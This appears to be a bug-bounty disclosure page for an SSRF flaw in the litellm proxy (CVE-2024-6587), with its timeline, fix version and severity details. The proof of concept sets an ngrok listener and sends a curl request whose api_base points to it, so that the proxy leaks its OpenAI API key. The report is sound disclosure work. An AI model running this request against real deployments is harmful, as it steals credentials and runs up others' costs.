

SSRF Exposes OpenAI API Keys in [berriai/litellm](#)

✓ Valid

Reported on May 28th 2024

Description

Users can specify the `api_base` parameter when making requests to `POST /chat/completions`.

The application sends the request to the domain specified by `api_base`.

This request includes the OpenAI API key.

A malicious user can set the `api_base` to their own domain and invoke `POST /chat/completions` to intercept and steal the OpenAI API key.

Proof of Concept

1: Start ngrok server

```
$ ngrok http 10000
```

2: Copy ngrok server address (e.g.: `https://f000-000-00-00-00.ngrok-free.app`)

3: Start litellm proxy

```
$ pip install 'litellm[proxy]'
$ export OPENAI_API_KEY=sk-XXXXXXXXXXXXX
$ litellm --model gpt-3.5-turbo
```

4: Send curl request

```
$ curl -X 'POST' 'http://0.0.0.0:4000/chat/completions' \
-H 'Content-Type: application/json' \
--data '{
  "model": "gpt-3.5-turbo",
  "messages": [
    {"role": "user", "content": "hello"}
  ],
  "api_base": "https://f000-000-00-00-00.ngrok-free.app"
}'
```

Impact

The SSRF vulnerability results in the leakage of the OpenAI keys that are managed by the proxy. If an attacker exploits this vulnerability, they can directly send requests to OpenAI without going through the proxy. This direct access allows them to bypass the proxy's rate limiting and budget management controls, potentially resulting in unauthorized usage and increased costs.

In addition, there are also common risks associated with Blind SSRF (such as scanning the internal network).

References

- [Server-Side Request Forgery Prevention Cheat Sheet](#)
- [What is SSRF \(Server-side request forgery\)? | Web Security Academy](#)

- ⚙️ We are processing your report and will contact the **berriai/litellm** team within 24 hours. 2 years ago
- ✉️ We have contacted a member of the **berriai/litellm** team and are waiting to hear back 2 years ago
- ✉️ We have sent a follow up to the **berriai/litellm** team. We will try again in 4 days. 2 years ago





Marcello gave praise 2 years ago

- ★ The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1
- ✉️ We have sent a second follow up to the **berriai/litellm** team. We will try again in 7 days. 2 years ago
- ✉️ We have sent a third follow up to the **berriai/litellm** team. We will try again in 14 days. 2 years ago
- ✉️ We have sent a fourth follow up to the **berriai/litellm** team. We will send a final notification 48 hours before report publication. 2 years ago





Marcello validated this vulnerability 2 years ago

- \$ **lambdasawa** has been awarded the disclosure bounty ✓
- \$ The fix bounty is now up for grabs
- ★ The researcher's credibility has increased: +7



CVE-2024-6587 assigned to this report. 2 years ago

⚠ We have sent a warning to the **berriai/litellm** team to inform them that this report will be published in 48 hours 2 years ago

🔊 This vulnerability has now been published 2 years ago



Ishaan Jaff commented a year ago

Maintainer

Fixed here: <https://github.com/BerriAI/litellm/pull/5418>



👁 A **berriai/litellm** maintainer has acknowledged this report a year ago



✓ **Ishaan Jaff** marked this as fixed in **1.44.9** with commit **ba1912** a year ago

\$ **Ishaan Jaff** has been awarded the fix bounty ✓



David Manouchehri commented a year ago

FYI this is a duplicate of a report I made privately a few days before on May 21, 2024.

<https://gist.github.com/Manouchehri/02083f87b3bb958935b49d2fe38a57c2>

🔊 **CVE-2024-6587** has now been published a year ago

[Sign in](#) to join this conversation

CVE
CVE-2024-6587
Published

Vulnerability Type
CWE-918: Server-Side Request Forgery (SSRF)

Severity
High (7.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	None
Availability	None

[Open in visual CVSS calculator](#) 🔗

Registry
Pypi

Affected Version

1.38.10

Visibility

Public

Status

Fixed

Disclosure Bounty

\$750

Fix Bounty

\$187.5

Found by



Tsubasa Irisawa

@lambdasawa

MIDDLEWEIGHT



Fixed by



Ishaan Jaff

@ishaan-jaff

UNPROVEN



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)